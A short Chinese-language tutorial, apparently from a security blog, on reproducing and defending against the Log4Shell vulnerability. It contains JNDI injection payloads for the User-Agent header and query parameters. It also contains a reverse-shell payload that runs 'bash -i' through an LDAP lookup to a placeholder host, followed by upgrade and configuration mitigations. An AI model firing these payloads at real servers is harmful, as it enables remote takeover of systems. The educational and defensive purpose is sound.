Log4j2(Log4Shell CVE-2021-44228)RCE 完整复现:JNDI 注入、多种 payload、缓解方案、防御加固。
写在前面:合法学习边界
Log4j2 攻击只在授权测试环境进行。
一、Log4j2 RCE 利用链

1
| ① 发现 Log4j2 → ② 注入 ${jndi:} → ③ JNDI 查找 → ④ 加载恶意类 → ⑤ RCE
|
二、漏洞信息
1
2
3
| CVE-2021-44228(RCE)· CVE-2021-45046(DoS)
影响:Log4j 2.0 ~ 2.14.1
入口:任何输入经过 Logger 的地方
|
三、利用方式
1
2
3
4
5
6
7
8
| # Tomcat 请求头
User-Agent: ${jndi:ldap://xxx/a}
# HTTP 参数
?id=${jndi:ldap://xxx/a}
# 反弹 Shell
${jndi:ldap://xxx/Command/Base64/$(bash -i ...)}
|
四、防御加固
1
2
3
| 升级到 Log4j 2.17.1+
设置 -Dlog4j2.formatMsgNoLookups=true
WAF 拦截 ${jndi 特征
|
五、小结
Log4Shell 是 Java 生态最严重的漏洞。升级到 2.17.1+ 是唯一有效的防御。